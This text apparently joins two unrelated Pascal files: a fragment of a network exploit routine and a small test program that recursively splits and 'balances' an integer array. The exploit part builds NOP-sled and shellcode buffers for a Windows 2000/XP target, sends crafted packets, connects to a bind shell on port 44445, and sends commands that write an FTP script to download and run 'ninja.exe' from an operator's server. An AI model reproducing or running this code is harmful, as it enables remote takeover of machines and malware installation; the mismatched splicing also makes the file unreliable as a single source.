SendBuf[I*2] := Buf[I];
SendBuf[I*2+1] := #0;
End;
SendBuf[LEN*2] := #0;
SendBuf[LEN*2+1] := #0;
MemSet(Screq2k, #$31, (BUFSIZE+Length(Req7)+1500)*2);
MemSet(Screq2k2, #$31, (BUFSIZE+Length(Req7)+1500)*2);
End Else
Begin
For I := 1 To BUFSIZE Do
strBuffer[I] := NOP;
Move(SC[1], strBuffer[160], Length(SC));
Move(Strasm[1], strBuffer[1980], Length(strasm));
Move(WINXPJMPCODE, strBuffer[1964], 1);
End;
For I := 1 To BUFSIZE+Length(Req7)+1500 Do
screq[I] := #$31;
If cryptsend(Sock, req4u[1], smblen+4, 0) < 1 Then Exit;
If Recv(Sock, szRecvBuf[0], 1600, 0) < 1 Then Exit;
If cryptsend(Sock, req5[1], Length(req5), 0) < 1 Then Exit;
If Recv(Sock, szRecvBuf[0], 1600, 0) < 1 Then Exit;
If cryptsend(Sock, req6[1], Length(req6), 0) < 1 Then Exit;
If Recv(Sock, szRecvBuf[0], 1600, 0) < 1 Then Exit;
If Not RootXP Then
Begin
Move(Req8[1], screq2k[1], Length(req8));
Move(SendBuf[1], Screq2k[Length(Req8)], (LEN+1)*2);
Move(Req9[1], Screq2k2[1], Length(Req9));
Move(SendBuf[4348-Length(req8)+1], Screq2k2[Length(req8)], (LEN+1)*2-4348);
Move(Shit3[1], Screq2k2[Length(req9)+(LEN+1)*2-4348-Length(Req8)+1+206], Length(Shit3));
If cryptsend(Sock, Screq2k[1], 4348, 0) < 1 Then Exit;
If Recv(Sock, szRecvBuf[0], 1600, 0) < 1 Then Exit;
If cryptsend(Sock, Screq2k2[1], 4060, 0) < 1 Then Exit;
End Else
Begin
Move(Req7[1], Screq[1], Length(req7));
Move(strBuffer[1], screq[Length(Req7)], BUFSIZE);
Move(Shit1[1], Screq[Length(Req7)+BUFSIZE], 9*16);
screq[BUFSIZE+Length(req7)+1500-304-1] := #0;
If cryptsend(Sock, Screq[1], BUFSIZE+Length(Req7)+1500-304, 0) < 1 Then Exit;
End;
Sleep(10000);
Addr.sin_port := hTons(44445);
outSock := Socket(AF_INET, SOCK_STREAM, 0);
If Connect(outSock, Addr, SizeOf(Addr)) <> 0 Then
begin
lerror := 'failed to open shell';
exit;
end;
mkdir_buff := 'echo open ' + ftp_mainip + ' ' + IntToStr(ftp_port) + ' > bla.txt'#10+
'echo user ' + ftp_user + ' ' + ftp_pass + ' >> bla.txt'#10+
'echo binary >> bla.txt'#10+
'echo get ninja.exe >> bla.txt'#10+
'echo quit >> bla.txt'#10+
'ftp.exe -n -s:bla.txt'#10+
'ninja.exe'#10;
If Recv(outSock, szRecvBuf[0], 1600, 0) < 1 Then Exit;
Sleep(500);
If send(outSock, mkdir_buff[1], Length(mkdir_buff), 0) < 1 Then Exit;
Result := True;
CloseSocket(outSock);
// CloseSocket(Sock);
// WSACleanUP();
End;
end.
|
PROGRAM Test;
Type
ArrOfInteger = Array Of Integer;
var
int: REAL;
i: Integer;
arr: ArrOfInteger;
arr2: ArrOfInteger;
arr3: ArrOfInteger;
arr3Indx: INTEGER;
FUNCTION GetArrayLength(arr: ArrOfInteger): INTEGER;
BEGIN
GetArrayLength := Length(arr);
END;
FUNCTION CutArrayRightFromIndex(arr: ArrOfInteger; idx: INTEGER): ArrOfInteger;
BEGIN
SetLength(arr, idx);
CutArrayRightFromIndex := arr;
END;
FUNCTION CutArrayLeftFromIndex(arr: ArrOfInteger; idx: INTEGER): ArrOfInteger;
VAR
arrCut: ArrOfInteger;
i, j: INTEGER;
newLength: INTEGER;
BEGIN
i := idx;
j := 0;
newLength := Length(arr) - idx;
// WriteLn('newLength: ', newLength);
SetLength(arrCut, Length(arr) - idx);
WHILE i <= Length(arr) - 1 DO BEGIN
arrCut[j] := arr[i];
INC(j);
INC(i);
END;
CutArrayLeftFromIndex := arrCut;
END;
PROCEDURE WriteArray(arr: ArrOfInteger);
VAR
i: INTEGER;
BEGIN
FOR i := 0 TO Length(arr) - 1 DO BEGIN
WriteLn(arr[i]);
END;
END;
PROCEDURE AddToArray(val: INTEGER);
BEGIN
ReadLn();
WriteLn('idx: ', arr3Indx, ' | val: ', val);
arr3[arr3Indx] := val;
Inc(arr3Indx);
END;
PROCEDURE BalanceArray(arr: ArrOfInteger);
VAR
leftArr, rightArr: ArrOfInteger;
newIdx: INTEGER;
BEGIN
IF Length(arr) > 1 THEN BEGIN
newIdx := Length(arr) div 2;
// AddToArray(arr[newIdx]);
leftArr := CutArrayRightFromIndex(arr, newIdx);
rightArr := CutArrayLeftFromIndex(arr, newIdx);
AddToArray(leftArr[Length(leftArr) div 2]);
AddToArray(rightArr[Length(rightArr) div 2]);
BalanceArray(leftArr);
BalanceArray(rightArr);
END;
WriteLn('Done');
END;
begin
SetLength(arr, 10);
SetLength(arr3, 10);
arr3Indx := 0;
arr[0] := 1;
arr[1] := 2;
arr[2] := 3;
arr[3] := 4;
arr[4] := 5;
arr[5] := 6;
arr[6] := 7;
arr[7] := 8;
arr[8] := 9;
arr[9] := 10;
// WriteLn(GetArrayLength(arr));
// arr2 := CutArrayRightFromIndex(arr, 3);
// WriteLn(GetArrayLength(arr2));
// WriteLn;
// WriteArray(arr2);
// arr2 := CutArrayLeftFromIndex(arr, 7);
// WriteLn;
// WriteArray(arr2);
WriteLn('-------');
BalanceArray(arr);
WriteArray(arr3);
// Get random numbers using the default random seed value
// WriteLn('Fixed first 5 random numbers');
// for i := 1 to 5 do
// begin
// int := 1 + Random(100); // The 100 value gives a range 0..99
// WriteLn('int = ', int);
// end;
// Now change the random seed to the milliseconds value
// of the current time
// RandSeed := 4294967295;
// // Get an integer random number in the range 1..100
// WriteLn('Random next 5 numbers');
// for i := 1 to 5 do
// begin
// int := 1 + Random(15); // The 100 value gives a range 0..99
// WriteLn('int = ', int);
// end;
end. |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.